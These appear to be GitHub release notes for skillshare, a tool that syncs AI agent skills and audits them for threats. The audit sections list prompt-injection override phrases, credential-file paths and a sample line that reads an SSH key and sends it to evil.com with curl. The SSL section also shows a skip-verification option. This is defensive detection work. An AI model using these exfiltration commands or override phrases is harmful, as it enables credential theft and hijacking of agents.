Releases: runkids/skillshare
v0.16.13
🚀 skillshare v0.16.13 Release Notes
Release date: 2026-03-06
TL;DR
v0.16.13 redesigns the list and audit TUI with grouped layout, adds structured filter tags for precise skill filtering, and supports 3 new AI agent targets:
- Grouped layout — skills organized by tracked repo with visual separators, compact paths, and repo-name badges
- Structured filter tags —
t:tracked g:security auditfilters by type, group, and free text simultaneously - 3 new targets — Warp, Purecode AI, Witsy (55+ supported tools)
No breaking changes. Drop-in upgrade from v0.16.12.
TUI Grouped Layout
The problem
When users track multiple repos, the flat skill list becomes hard to navigate. Skills from different repos are visually indistinguishable, and long tracked-repo paths (_runkids-my-skills/security/skill-name) clutter the display. The same issue affects audit results.
Solution
Both skillshare list and skillshare audit TUIs now group skills by origin:
── runkids-my-skills (42) ──────────────
✓ security/skill-improver
! security/audit-demo-debug-exfil
── standalone (27) ─────────────────────
! react-best-practices
! skill-creator
- Tracked repos sort first (alphabetically), standalone skills follow
- Within each group, skills sort by severity (audit) or path (list)
- When only one group exists, separators are omitted automatically
- Compact paths strip the repo prefix:
_runkids-my-skills/security/skill-name→security/skill-name - Tracked skills always show a repo-name badge, keeping them identifiable even in filtered views without group headers
Design decisions
- Shared
groupItemtype — both list and audit TUIs use the samegroupItemstruct andskipGroupItemnavigation. TherenderPrefixRowhelper renders all list rows (skill and audit) through a single code path. - Dynamic panel height — audit footer has variable line count (1-2 summary lines depending on threat categories). Panel height is computed from
termHeight - auditFooterLines()rather than a hardcoded offset. - Single-group detection — a single-pass map tracks distinct group keys with early exit at 2. Avoids multiple iterations over the skill list.
- ANSI-aware truncation —
truncateANSIdelegates toxansi.Truncatewhich preserves color codes while measuring visual width. The previous approach stripped ANSI, counted runes, and returned plain text — losing all styling.
Structured Filter Tags
The problem
The / filter in list TUI only did free-text fuzzy matching across name, path, and source. Users with 100+ skills couldn't efficiently narrow by type (tracked vs local) or repo origin without scrolling.
Solution
The filter input now supports key:value tags alongside free text:
| Tag | Alias | Matches |
|---|---|---|
t:tracked |
type:tracked |
Tracked repo skills |
t:local |
type:local |
Local standalone skills |
t:remote |
type:remote |
Remote-sourced skills |
t:github |
type:github |
GitHub Hub skills |
g:security |
group:security |
Skills in groups containing "security" |
r:runkids |
repo:runkids |
Skills from repos containing "runkids" |
Usage patterns
# Show only tracked skills
/t:tracked
# Show tracked skills in the security group
/t:tracked g:security
# Find skills from a specific repo containing "audit"
/r:runkids audit
# Combine multiple filters (AND logic)
/t:local g:frontend reactMultiple tags combine with AND logic. Free text is matched against name, path, and source. Unknown tag keys are treated as free text.
New Targets
Three new AI agent targets:
| Target | Short name | Global path | Project path |
|---|---|---|---|
| Warp | warp |
~/.agents/skills |
.agents/skills |
| Purecode AI | purecode |
~/.purecode/skills |
.agents/skills |
| Witsy | witsy |
~/.agents/skills |
.agents/skills |
Supported tools: 55+.
Bug Fixes
- Row truncation — long skill names now truncate with
…instead of wrapping to multiple lines. Both list and audit TUIs usexansi.Truncatewith padding-aware width calculation. - Audit panel height — items at the bottom of the audit list were hidden behind the footer. Panel height is now dynamically computed from actual footer line count.
- Detail panel deduplication — removed duplicate information (installed date, repo name) that appeared across multiple sections.
- Audit color noise — non-zero severity counts use semantic colors (red/orange/yellow/blue), zero counts are dimmed. Previously all counts had equal visual weight.
- Devcontainer
-jflag — the wrapper'swants_machine_output()now recognizes-jin addition to--json, preventing stderr banner noise in machine-readable output.
Changelog
- 9b5429a feat(targets): add Warp, Purecode AI, Witsy targets
- 8ddf886 feat(tui): add grouped layout and dynamic panel height to audit TUI
- 0e7bfea feat(tui): add structured filter tags to list TUI
- 0a0ac2e feat(tui): redesign list panel with grouped layout and compact paths
- a217e40 fix(audit): reduce color noise in CLI and TUI output
- 5ae4c7a fix(tui): improve detail panel readability
- f115ab5 fix(tui): show skill name and group in list detail panel
- c085f10 fix(tui): skip group separators when single group and fix row truncation
- 657b833 fix: suppress devcontainer redirect for -j flag and show tracked badge in filter mode
- 7015aaf refactor(tui): unify duplicated group/render logic between list and audit TUIs
v0.16.12
skillshare v0.16.12 Release Notes
Release date: 2026-03-05
TL;DR
v0.16.12 adds structured JSON output to 8 more commands, bringing total --json coverage to all 12 major CLI commands. Every command now has a machine-readable output mode for agent consumption and CI/CD pipelines:
- 8 new
--jsoncommands — sync, install, update, uninstall, collect, target list, status, diff - Non-interactive by design —
--jsonon mutating commands implies--force(skips prompts) - Clean stdout — TUI, spinners, and progress suppressed; structured data to stdout only
No breaking changes. Drop-in upgrade from v0.16.11.
Structured JSON Output
The problem
AI agents (Claude Code, Codex, Cursor) and CI pipelines need to parse CLI output programmatically. Text output with colors, spinners, and tables is designed for humans — parsing it with grep/regex is brittle and breaks when formatting changes between versions.
Solution
8 commands gain --json support in two phases:
Phase 1 — Mutating commands:
| Command | --json implies |
Example |
|---|---|---|
sync |
(none) | skillshare sync --json | jq '.errors' |
install |
--force --all |
skillshare install github.com/user/repo --json |
update |
--force |
skillshare update --json | jq '.updated' |
uninstall |
--force |
skillshare uninstall my-skill --json |
collect |
--force |
skillshare collect ./path --json |
Phase 2 — Read-only commands:
| Command | Example |
|---|---|
target list |
skillshare target list --json | jq '.[].name' |
status |
skillshare status --json |
diff |
skillshare diff --json | jq '.files' |
Previously supported (unchanged):
| Command | Flag |
|---|---|
audit |
--format json (also --json as deprecated alias) |
log |
--json (JSONL — one object per line) |
check |
--json |
list |
--json / -j |
Design decisions
- Per-command JSON schema — each command defines its own output struct (e.g.,
syncJSONOutput,installJSONOutput). No universal envelope — keeps each schema focused and documented. writeJSON()helper — shared function with recursive nil-slice-to-empty-array conversion. Ensuresjqnever seesnullwhere it expects[].--jsonimplies--forcefor mutating commands — agents can't answer interactive prompts, so JSON mode skips them. This is safe because the caller explicitly opted into machine mode.- Stderr for progress, stdout for JSON — spinners and progress indicators go to stderr so they don't corrupt the JSON stream.
jqpiping works cleanly.
Usage patterns
# Agent workflow: install → verify → sync
skillshare install github.com/team/skills --json | jq -e '.skills | length > 0'
skillshare sync --json | jq -e '.errors == 0'
# CI pipeline: check for updates
skillshare check --json | jq '.tracked_repos[] | select(.has_update)'
# Dashboard: get full status
skillshare status --json | jq '{skills: .skills | length, targets: .targets | length}'Changelog
- b366f61 chore: formatting alignment and changelog jq example fix
- f03ba45 chore: update docs
- 02aa2b2 feat(cli): add --json output to 8 commands (Phase 1+2)
- 5c31332 feat(skill): add --json assertion guidance to cli-e2e-test skill
- 18bfe5f feat(skill): improve built-in skill for v0.16.12
- bcf31d8 fix(audit): show actual active analyzers in status --json output
- 9982c2e fix(cli): clean up --json output code after review
- 6b4a878 fix(cli): ensure --json mode outputs pure JSON to stdout
- 18cd0ec fix(cli): preserve non-zero exit code for --json error paths
- 4b09d2e fix(cli): redirect JSON-mode UI to /dev/null and add status --project --json
- 9a12df0 fix(cli): restore argument validation for status --project mode
- b5430e0 fix(cli): suppress UI output in --json mode for install, diff, uninstall
- d707fc6 fix(cli): suppress stderr progress messages in --json mode
- 1a4de5d fix(cli): use errors.As for jsonSilentError check in main
- 8ddf685 fix(cli): wrap collect/sync JSON errors with jsonSilentError
- 7223ac5 fix(sync): preserve non-json dry-run output stream
- 6ad930f perf(cli): parallelize git dirty checks in status --json
- 0d59f15 refactor(cli): deduplicate JSON output helpers and fix ResolvePolicy semantics
- 4535da1 refactor(cli): return updateResult from single-target update handlers
v0.16.11
🛡️ skillshare v0.16.11 Release Notes
Release date: 2026-03-05
TL;DR
v0.16.11 adds supply-chain trust verification, hardcoded secret detection, and web UI streaming — a new metadata analyzer detects publisher impersonation, 10 new rules catch inline API keys and tokens, doctor gains file hash integrity checks, and the web UI streams all long-running operations in real time:
- Metadata analyzer — detects publisher mismatch (HIGH) and authority language (MEDIUM) in SKILL.md
- Hardcoded secret detection — 10 new rules detect Google, AWS, GitHub, Slack, OpenAI, Anthropic, Stripe keys, private key blocks, and generic secret assignments
- Doctor integrity check — verifies file hashes against
.skillshare-meta.json - Web UI SSE streaming — all long-running operations (audit, update, check, diff) stream results via SSE
- Virtualized scrolling — audit results and diff items use virtual scrolling for smooth large-dataset performance
- SSL error guidance — actionable options when git clone fails due to certificate issues
No breaking changes. Drop-in upgrade from v0.16.10.
Supply-Chain Trust Verification
The problem
A skill can claim to be "Official Claude Helper by Anthropic" in its SKILL.md description, but actually be published by an unknown user. The existing audit engine catches code-level threats (injection, exfiltration), but not metadata-level social engineering.
Metadata analyzer
The new metadata analyzer (skill scope) cross-references SKILL.md frontmatter against .skillshare-meta.json:
Rule A: publisher-mismatch (HIGH)
Detects when SKILL.md claims an organization that doesn't match the actual repo owner:
HIGH publisher-mismatch skill claims origin "Anthropic" but sourced from "evil-fork"
Supports patterns: from X, by X, made by X, created by X, published by X, maintained by X, and @handle mentions. Substring matches are allowed (e.g., claiming "vercel" when owner is "vercel-labs" passes).
Rule B: authority-language (MEDIUM)
Detects authority words ("official", "verified", "trusted", "authorized", "endorsed", "certified") from unrecognized sources:
MEDIUM authority-language skill uses authority language (official, verified) but source is unverified
Well-known organizations (Anthropic, OpenAI, Google, Microsoft, Vercel, etc.) are allowed. Local skills (no repo URL) are skipped.
Both rules are disable-able via audit-rules.yaml:
skillshare audit rules disable publisher-mismatch
skillshare audit rules disable authority-language# Runs by default with all analyzers
skillshare audit
# Run metadata analyzer only
skillshare audit --analyzer metadataSkill Integrity Verification (Doctor)
doctor integrity check
skillshare doctor now verifies that tracked skills haven't been tampered with since installation. For skills with .skillshare-meta.json containing file_hashes, doctor computes current SHA-256 hashes and compares:
✓ Skill integrity: 5/6 verified
⚠ _team-repo__api-helper: 1 modified, 1 missing
⚠ Skill integrity: 2 skill(s) unverifiable (no metadata)
Two-phase approach for performance:
- Phase 1 (cheap): filter to skills that have metadata with file hashes
- Phase 2 (expensive): compute and compare hashes with spinner
Skills without metadata are reported as "unverifiable" — no false positives.
Web UI SSE Streaming
All operations now stream in real-time
All long-running web dashboard operations use Server-Sent Events (SSE) instead of batch HTTP requests:
| Page | Before | After |
|---|---|---|
| Audit | Single spinner until done | Per-skill progress bar with count/total |
| Update | Sequential POST loop | Real-time per-skill result cards |
| Check | Single spinner | Per-repo progress with live counter |
| Diff | Single spinner | Per-target streaming with progress |
Each page shows elapsed time, a progress bar, and results appear as they complete — no more staring at a spinner for 10+ repos.
New SSE endpoints:
GET /api/audit/stream— streaming audit resultsGET /api/update/stream— streaming skill updatesGET /api/check/stream— streaming repo checksGET /api/diff/stream— streaming target diffs
Virtualized scrolling
Audit results and diff item lists now use react-virtuoso virtual scrolling:
- Audit page: skill cards render on-demand as you scroll (window-level virtualization)
- Sync page diff: targets with 100+ items use a fixed-height virtualized container; smaller lists render directly
Replaces the previous "Show more" pagination buttons for a smoother UX.
SSL Error Guidance
When skillshare install encounters an SSL certificate error (self-signed cert, internal CA), the error message now shows three actionable options:
SSL certificate verification failed — options:
1. Custom CA bundle: GIT_SSL_CAINFO=/path/to/ca-bundle.crt skillshare install <url>
2. Skip verification: GIT_SSL_NO_VERIFY=true skillshare install <url>
3. Use SSH instead: git@<host>:<owner>/<repo>.git
Detection covers: ssl certificate problem, unable to get local issuer certificate, self signed certificate, certificate verify failed, certificate verification failed.
Hardcoded Secret Detection
The problem
GitHub Secret Scanning detected a Google API Key (AIza...) in a skill file, but skillshare's audit engine missed it. The engine detects credential file access (cat ~/.ssh/id_rsa) and env var references (curl $TOKEN), but had zero detection for inline hardcoded secrets — API keys, tokens, and passwords embedded directly in text.
10 new hardcoded-secret rules (HIGH)
| Rule ID | Provider | Prefilter |
|---|---|---|
hardcoded-secret-0 |
Google API Key | AIza |
hardcoded-secret-1 |
AWS Access Key | AKIA |
hardcoded-secret-2 |
GitHub PAT (classic) | ghp_ / ghs_ |
hardcoded-secret-3 |
GitHub Fine-grained PAT | github_pat_ |
hardcoded-secret-4 |
Slack Token | xox[bporas]- |
hardcoded-secret-5 |
OpenAI API Key | T3BlbkFJ marker |
hardcoded-secret-6 |
Anthropic API Key | sk-ant- |
hardcoded-secret-7 |
Stripe Key | sk_live_ / rk_test_ |
hardcoded-secret-8 |
Private Key Block | -----BEGIN ... PRIVATE KEY----- |
hardcoded-secret-9 |
Generic secret assignment | api_key=, password:, etc. |
All rules are HIGH severity — they block installation at default threshold. Category: credential (same as credential-access family).
skillshare audit # secrets detected automatically
skillshare audit rules --pattern hardcoded-secret # list all secret rules
skillshare audit rules disable hardcoded-secret-9 # disable generic pattern if noisyFor educational/reference skills that intentionally contain example secrets, downgrade the entire group:
# audit-rules.yaml
rules:
- pattern: hardcoded-secret
severity: MEDIUMOther Improvements
- Cleaner TUI layout — removed detail panel box borders in list/log views for less visual clutter
Upgrade
# Homebrew
brew upgrade skillshare
# Go install
go install github.com/runkids/skillshare/cmd/skillshare@v0.16.11
# Or download from GitHub ReleasesChangelog
- 2af44f1 chore(skills): strengthen built-in skill descriptions and content
- 1aa8b56 chore: update readme
- 6730760 feat(audit): add hardcoded secret detection (10 rules)
- ebf2aaf feat(audit): add metadata analyzer for supply-chain trust verification
- ae5708e feat(doctor): add skill integrity verification via file hash comparison
- 272735c feat(install): detect SSL certificate errors and show actionable guidance
- 344b067 feat(ui): add SSE streaming for update, check, and diff pages
- 76c1904 feat(ui): add SSE-based audit streaming and real-time progress
- 7e072c3 feat(ui): replace "Show more" pagination with virtualized scrolling
- 0daafd2 style(tui): remove detail panel box borders for cleaner layout
v0.16.10
🚀 skillshare v0.16.10 Release Notes
Release date: 2026-03-04
TL;DR
v0.16.10 introduces sync extras — sync non-skill resources (rules, commands, memory files) across AI tools — and a persistent TUI toggle:
sync extras— sync arbitrary directories from~/.config/skillshare/to any target path, with per-target symlink/copy/merge modessync --all— run skill sync and extras sync in one commandtui on|off— persistently enable/disable interactive TUI mode- TUI fix — detail panel bottom content no longer clipped
No breaking changes. Drop-in upgrade from v0.16.9.
Sync Extras
The problem
Skillshare syncs skills (SKILL.md files), but many users also manage shared rules, commands, or memory files across AI tools. Previously, this required manual symlinks or external scripts.
sync extras subcommand
Configure extras in config.yaml:
extras:
- name: rules
targets:
- path: ~/.claude/rules
- path: ~/.cursor/rules
mode: copy
- name: commands
targets:
- path: ~/.claude/commandsThen sync:
skillshare sync extras # sync all configured extras
skillshare sync extras --dry-run # preview changes
skillshare sync extras --force # overwrite existing filesSource directories live alongside your skills source under ~/.config/skillshare/<name>/ (e.g., ~/.config/skillshare/rules/).
Per-target modes
Each extra target supports its own sync mode:
| Mode | Behavior |
|---|---|
symlink (default) |
Creates symlinks from source to target |
copy |
Copies files (for tools that don't follow symlinks) |
merge |
Per-file symlinks, preserves existing local files |
sync --all flag
Run skill sync and extras sync together:
skillshare sync --all # skills first, then extrasNote: --all is global-mode only. In project mode it shows a warning and is ignored.
TUI Preferences
tui subcommand
Persistently toggle interactive TUI mode:
skillshare tui # show current setting (on/off/default)
skillshare tui off # disable TUI globally
skillshare tui on # re-enable TUIWhen TUI is disabled, all commands (list, log, search, audit rules) fall back to plain text output. Equivalent to passing --no-tui on every command, but persistent.
Setting is stored as tui: false in config.yaml. Omitting the key (or deleting it) restores the default (TUI enabled).
Bug Fixes
- TUI detail panel clipping — bottom content in the list view detail panel was being cut off; now renders fully
Documentation
- Added
sync extrasdocumentation to the website (docs/commands/sync.md), built-in skill, and README - Split the monolith audit documentation page into focused sub-pages for easier navigation
Upgrade
# Homebrew
brew upgrade skillshare
# Go install
go install github.com/runkids/skillshare/cmd/skillshare@v0.16.10
# Or download from GitHub ReleasesChangelog
- 6caf73f docs(audit): split monolith audit.md into focused pages
- 17b207f feat(cli): add 'sync extras' subcommand and --all flag
- 035c9fe feat(config): add ExtraConfig struct for extras sync
- fbccdb9 feat(sync): add extras sync engine — walk, symlink/copy, prune
- f6c5e1d feat(tui): add persistent TUI toggle via
skillshare tui [on|off] - 1b8940a fix(extras): copy-mode idempotency and display mode label
- 81369f1 fix(tui): prevent detail panel bottom content from being clipped
- 55bc528 refactor(extras): simplify after code review
- 45eaeff refactor(tui): reuse boolPtr, add oplog, eliminate redundant config loads
- bc5f60f style(audit): add vertical spacing between CLI output sections
- 65c7d75 style: fix gofmt alignment in extras_test.go and ui.go
- 671e3c5 test(integration): add sync extras E2E tests
v0.16.9
🛡️ skillshare v0.16.9 Release Notes
Release date: 2026-03-03
TL;DR
v0.16.9 is the audit engine overhaul release — rules management, security policy profiles, analyzer pipeline, finding enrichment, and 12+ new detection rules:
audit rulessubcommand — browse, disable, enable, override severity, reset rules from CLI or interactive TUI- Security profiles —
--profile strict|default|permissivesets threshold + dedupe in one flag - Global deduplication — SHA-256 fingerprint-based finding dedup across all skills (now default)
- Analyzer pipeline —
--analyzerflag to run specific analyzers; findings enriched with ruleId, analyzer, category, confidence, fingerprint - Category threat breakdown — summary shows per-category counts (injection, exfiltration, credential, etc.)
- 12+ new detection rules — interpreter tier (T6), invisible payloads, bidi attacks, DNS exfil, self-propagation, config poisoning, and more
- Regex prefilters — conservative literal-substring prefilters reduce scan time
No breaking changes. Drop-in upgrade from v0.16.8.
Audit Rules Management
audit rules subcommand
Full lifecycle management for audit rules without editing YAML:
skillshare audit rules # interactive TUI browser
skillshare audit rules --format json # machine-readable listing
skillshare audit rules --severity HIGH # filter by severity
skillshare audit rules --pattern prompt-injection # filter by pattern
skillshare audit rules --disabled # show only disabled rules
skillshare audit rules disable <rule-id> # disable a single rule
skillshare audit rules disable --pattern <pattern> # disable all rules in a pattern
skillshare audit rules enable <rule-id> # re-enable a rule
skillshare audit rules severity <rule-id> HIGH # override severity
skillshare audit rules severity --pattern <p> MEDIUM # override pattern severity
skillshare audit rules reset # restore built-in defaults
skillshare audit rules init # create starter audit-rules.yamlAudit Rules TUI
Interactive bubbletea browser with:
- Accordion pattern groups (expand/collapse with Enter)
- Severity tabs: ALL / CRIT / HIGH / MED / LOW / INFO / OFF
- Text filter (
/to search) - Inline actions:
ddisable,eenable,sseverity override,Rreset - Split layout: left list + right detail panel
Pattern-Level Overrides
audit-rules.yaml now supports pattern-level entries that apply to all rules under a pattern:
rules:
prompt-injection:
disabled: true # disables all prompt-injection-* rules
credential-access:
severity: MEDIUM # downgrades all credential-access-* rulesSecurity Policy & Deduplication
--profile flag
Preset security profiles that configure threshold + deduplication in one flag:
| Profile | Block Threshold | Dedupe Mode | Use Case |
|---|---|---|---|
default |
CRITICAL | global | Standard scanning |
strict |
HIGH | global | CI gates, high-security environments |
permissive |
CRITICAL | legacy | Tutorial/demo skills, minimal blocking |
skillshare audit --profile strict # blocks on HIGH+, global dedupe
skillshare audit --profile permissive # blocks on CRITICAL only, per-skill dedupe--dedupe flag
Control finding deduplication independently:
global(default) — deduplicates across all skills using SHA-256 fingerprints; keeps highest severity when duplicates existlegacy— per-skill deduplication only (v0.16.8 behavior)
skillshare audit --dedupe legacy # opt out of global dedupPolicy Display
Active policy is now shown in:
- Audit header — profile name, threshold, dedupe mode
- Summary box — "Policy: strict" (colorized by profile)
- TUI footer — inline policy indicator
Analyzer Pipeline
--analyzer flag
Run only specific analyzers (repeatable):
skillshare audit --analyzer static # regex rules only
skillshare audit --analyzer dataflow # taint tracking only
skillshare audit --analyzer static --analyzer tier # combine multipleAvailable analyzers: static, dataflow, tier, integrity, structure, cross-skill.
Finding Enrichment
Every finding now carries Phase 2 traceability fields:
| Field | Type | Description |
|---|---|---|
ruleId |
string | Stable rule identifier (e.g., prompt-injection-1) |
analyzer |
string | Which analyzer produced it (static, dataflow, tier, etc.) |
category |
string | Threat category (injection, exfiltration, credential, obfuscation, privilege, integrity, structure, risk) |
confidence |
float | 0–1 confidence score |
fingerprint |
string | SHA-256 hash for deduplication |
These fields appear in JSON, SARIF, and Markdown output formats.
Category Threat Breakdown
Summary now includes a per-category count line across all output channels:
- CLI:
Threats: injection:3 credential:1 exfiltration:1(ANSI colored) - TUI:
Threats: inj:3 cred:1 exfil:1(lipgloss styled, short names) - JSON:
"byCategory": {"injection": 3, "credential": 1, ...} - Markdown: Threats column in summary table
Sorted by count (descending), then alphabetically.
New Detection Rules
Interpreter Tier (T6)
New command tier for Turing-complete runtimes:
| Tier | Label | Commands | Standalone Severity |
|---|---|---|---|
| T6 | interpreter |
python, python3, node, ruby, perl, lua, php, bun, deno, npx, tsx, pwsh, powershell | INFO |
Findings:
tier-interpreter(INFO) — interpreter presenttier-interpreter-network(MEDIUM) — interpreter + network commandscross-skill-cred-interpreter(MEDIUM) — credential access in one skill + interpreter in another
Version-suffix stripping: python3.11 → T6:interpreter. env python3 script.py → T6:interpreter (no longer hidden behind env).
Prompt Injection (expanded)
| Rule | Severity | Detects |
|---|---|---|
| prompt-injection-1 (updated) | CRITICAL | SYSTEM:, OVERRIDE:, IGNORE:, ADMIN:, ROOT: prefixes |
| prompt-injection-2 (new) | HIGH | Agent directive tags: <system>, </instructions>, </override> |
| prompt-injection-3 (new) | CRITICAL | DEVELOPER MODE, DEV MODE, JAILBREAK, DAN MODE |
| prompt-injection-4 (new) | CRITICAL | Output suppression: "don't tell the user", "hide this from the user" |
Invisible Payload (new pattern)
| Rule | Severity | Detects |
|---|---|---|
| hidden-unicode-1 | CRITICAL | Unicode tag characters U+E0001–U+E007F (0px width, processed by LLMs) |
Uses dedicated invisible-payload pattern to ensure CRITICAL findings are never suppressed in tutorial contexts.
Hidden Unicode (expanded)
| Rule | Severity | Detects |
|---|---|---|
| hidden-unicode-2 (new) | HIGH | Bidirectional text control U+202A–U+202E, U+2066–U+2069 (Trojan Source CVE-2021-42574) |
| hidden-unicode-3 (new) | MEDIUM | Soft hyphens U+00AD, directional marks U+200E–U+200F, invisible math operators U+2061–U+2064 |
Other New Rules
| Rule | Severity | Detects |
|---|---|---|
| config-manipulation-0 | HIGH | Instructions to modify MEMORY.md, CLAUDE.md, .cursorrules, etc. |
| data-exfiltration-2 | MEDIUM | Markdown images with query parameters |
| data-exfiltration-3 | HIGH | DNS exfiltration via dig/nslookup/host with command substitution |
| hidden-comment-injection-1 | HIGH | Prompt injection in markdown reference-link comments [//]: # |
| self-propagation-0 | HIGH | "Add/inject this instruction to all/every/other files" |
| untrusted-install-0 | MEDIUM | npx -y / npx --yes (auto-execute) |
| untrusted-install-1 | MEDIUM | pip install https:// (install from URL) |
Table-Driven Credential Access
Credential rules are now generated from a data table covering 30+ sensitive paths × 5 access methods. Descriptive rule IDs: credential-access-ssh-private-key, credential-access-etc-shadow-copy, etc. Supports ~, $HOME, ${HOME} variants. Heuristic catch-all for unknown home dotdirs.
Performance
- Regex prefilters — static analyzer applies conservative literal-substring checks before running regex. Rules with a
prefilterfield skip the full regex if the literal substring isn't present in the line. Reduces scan time on large skills with many rules.
Bug Fixes
- Regex bypass vulnerabilities — fixed prompt injection rules bypassed by leading whitespace or mixed case; fixed data-exfiltration image exclude allowing
.png?stolen_data; fixeddd if=/etc/shadowmislabeled asdestructive-commands - SSH public key false positive —
.pubfiles no longer trigger CRITICAL credential-access findings - Catch-all regex bypass — heuristic catch-all no longer silenced by known credential paths on the same line
- Structured output ANSI leak —
--format json/sarif/markdownno longer leaks cursor codes - Severity-only merge — editing only severity in
audit-rules.yamlno longer drops regex patterns - Profile threshold fallback — profile presets correctly set threshold when config has no explicit
block_threshold - TreeSpinner ghost cursor — fixed missing
WithWritercausing cursor codes on structured output - TUI summary overflow — category threat breakdown renders on a separate line for narrow terminals
Upgrade
skillshare upgrade
# or
go install github.com/runkids/skillshare/cmd/skillshare@v0.16.9No mig...
v0.16.8
🛡️ skillshare v0.16.8 Release Notes
Release date: 2026-03-02
TL;DR
v0.16.8 is an audit engine release — significant upgrades to skillshare audit:
--formatflag — output intext,json,sarif, ormarkdown(--jsondeprecated)- Analyzability score — per-skill percentage showing how much content is statically analyzable
- Command safety tiers (T0–T5) — classify shell commands by behavior: read-only → stealth
- Dataflow taint tracking — detect credential reads followed by network exfiltration across lines
- Cross-skill interaction detection — find dangerous capability combinations across multiple skills
- Pre-commit hook — native
pre-commitintegration to scan skills on every commit
New Output Formats
SARIF 2.1.0
SARIF (Static Analysis Results Interchange Format) enables direct integration with GitHub Code Scanning:
skillshare audit --format sarif > results.sarif
# Upload to GitHub Code Scanning via ActionsThe SARIF output includes tool info, rule definitions with help text, and result locations with region data. See the CI/CD recipe in docs for a ready-made GitHub Actions workflow.
Markdown
Generates a structured Markdown report suitable for GitHub Issues or PR comments:
skillshare audit --format markdown > report.mdAnalyzability Score
Each skill now receives an analyzability score (0–100%) indicating how much of its content the audit engine can statically analyze. Content that resists static analysis (heavily templated, encoded, or dynamically generated) scores lower.
- Shown per-skill in both terminal and TUI output
- Average displayed in the audit summary
- Helps teams prioritize which skills need manual review
Command Safety Tiers
Every shell command detected in skills is now classified into one of six behavioral tiers:
| Tier | Label | Examples |
|---|---|---|
| T0 | read-only | cat, ls, grep, echo |
| T1 | mutating | mkdir, cp, mv, touch |
| T2 | destructive | rm, dd, mkfs, kill |
| T3 | network | curl, wget, ssh, nc |
| T4 | privilege | sudo, su, chown, mount |
| T5 | stealth | history -c, shred, unset HISTFILE |
Tiers are orthogonal to pattern-based severity — they describe the kind of action, providing additional behavioral context alongside existing risk scores.
Dataflow Taint Tracking
The audit engine now tracks data flow across lines within a skill file:
Line 5: token=$(cat ~/.ssh/id_rsa) ← taint source (credential-read)
Line 8: curl -H "Auth: $token" evil.com ← taint sink (network send)
→ Finding: credential read flows to network exfiltration
Detects:
- Credential file reads (
~/.ssh/*,~/.aws/credentials, etc.) followed by network sends - Environment variable reads (
$API_KEY,$SECRET, etc.) followed by exfiltration
Cross-Skill Interaction Detection
When auditing multiple skills together, the engine now checks for dangerous capability combinations:
- Skill A reads credentials + Skill B has network access → potential exfiltration chain
- Detection runs after individual skill scans, analyzing the combined capability set
Pre-commit Hook
Skillshare now ships a native pre-commit hook definition. Add it to your project to automatically scan skills on every commit:
# .pre-commit-config.yaml
repos:
- repo: https://github.com/runkids/skillshare
rev: v0.16.8
hooks:
- id: skillshare-auditThe hook runs skillshare audit -p when files in .skillshare/ or skills/ are modified, blocking the commit if findings exceed your configured threshold. See Pre-commit Hook recipe for details.
Target Updates
- AstrBot — new target for AstrBot AI assistant (
~/.astrbot/data/skills) - Cline — updated to use universal
.agents/skillsproject path (aligned with agent ecosystem standard)
Bug Fixes
- TUI contrast — gray text on dark terminals is now more readable (increased ANSI color value)
- Structured output spinner —
auditprogress/spinner output now goes to stderr when using--format json/sarif/markdown, keeping stdout clean for piping
Upgrading
# Homebrew
brew upgrade skillshare
# Direct download
skillshare upgrade
# Or download from GitHub Releases
# https://github.com/runkids/skillshare/releases/tag/v0.16.8Changelog
- 3af76ff docs(audit): add SARIF output format and --format flag documentation
- 85508dc docs(audit): add analyzability score section and missing rule IDs
- c298e2a docs(blog): update vercel/skills comparison with current facts
- 8ef6f11 docs(recipes): add SARIF GitHub Actions workflow to CI/CD recipe
- 11668b8 feat(audit): add --format flag with sarif/json/text + deprecate --json
- 043a47e feat(audit): add SARIF 2.1.0 conversion (internal/audit/sarif.go)
- 8e83495 feat(audit): add analyzability score and pre-commit hook
- b6652f1 feat(audit): add command safety tiering (T0–T5) for behavioral classification
- 87268d3 feat(audit): add cross-skill interaction detection
- 50e5e11 feat(audit): add dataflow taint tracking for cross-line exfiltration
- 89c3586 feat(audit): add markdown output format and improve terminal layout
- 28dacd1 feat(audit): expand TUI filter to search risk, status, severity, patterns, and files
- 71bf096 feat(audit): show analyzability score in TUI detail panel and summary
- 0712368 feat(devc): add
make devcshortcut to enter devcontainer from terminal - 3bc9ad7 feat(targets): add AstrBot, update Cline to universal .agents/skills
- 2fe9052 fix(audit): omit SARIF region for line-0 findings and add cross-skill to API
- 2320630 fix(audit): prevent stdout pollution in structured output formats
- afb8951 fix(audit): show spinner/progress on stderr for structured output formats
- 787c46c fix(tui): improve gray text contrast on dark terminals
- ca5a036 perf(audit): rewrite cross-skill analysis from O(N²) to O(N)
v0.16.7
🔗 skillshare v0.16.7 Release Notes
Release date: 2026-03-02
TL;DR
v0.16.7 is a dotfiles manager compatibility release:
- External symlinks preserved — sync no longer breaks target symlinks created by stow, chezmoi, yadm, etc.
- Symlinked source directories across all commands —
~/.config/skillshare/skills/can be a symlink (even chained) and all commands (sync,update,uninstall,list,status,collect,install,diff) discover skills correctly - Status/collect aware —
statusandcollectfollow external target symlinks instead of reporting conflicts or skipping them - Group containment guard —
uninstall --groupandupdate --groupreject groups that symlink outside the source tree
The Problem
Dotfiles managers (GNU Stow, chezmoi, yadm, bare-git) commonly manage AI tool config directories through symlinks:
~/.claude/skills/ → ~/dotfiles/claude-skills/ # stow-managed
~/.config/skillshare/skills/ → ~/dotfiles/ss/ # source also symlinked
Before v0.16.7, skillshare would:
- Delete the
~/.claude/skills/symlink when converting from symlink→merge mode (breaking the dotfiles manager setup) - Fail to discover skills when the source directory was a symlink (affected
update,uninstall,reconcile, and server handlers — not justsync) - Report "conflict" for targets that were external symlinks
- Skip scanning external target symlinks in
collect
Root cause: filepath.Walk vs symlinked roots
filepath.Walk and filepath.WalkDir use os.Lstat on the root, which does not follow symlinks. If root is a symlink, info.IsDir() returns false and the walk callback never enters it. This affected 10+ callsites beyond sync:
internal/config/reconcile.go—ReconcileGlobalSkillsinternal/config/project_reconcile.go—ReconcileProjectSkillsinternal/install/install_queries.go—getUpdatableSkillsImpl,FindRepoInstalls,getTrackedReposImplcmd/skillshare/update.go—cmdUpdate --allcmd/skillshare/update_resolve.go—resolveGroupUpdatablecmd/skillshare/update_project.go—updateAllProjectSkillscmd/skillshare/uninstall.go—resolveGroupSkills,resolveNestedSkillDir,countGroupSkillsinternal/server/handler_update.go—getServerUpdatableSkills
os.ReadDir does follow symlinked roots (uses os.Open), so callsites using ReadDir (doctor, audit) were unaffected.
Symlink Sync Decision Flow
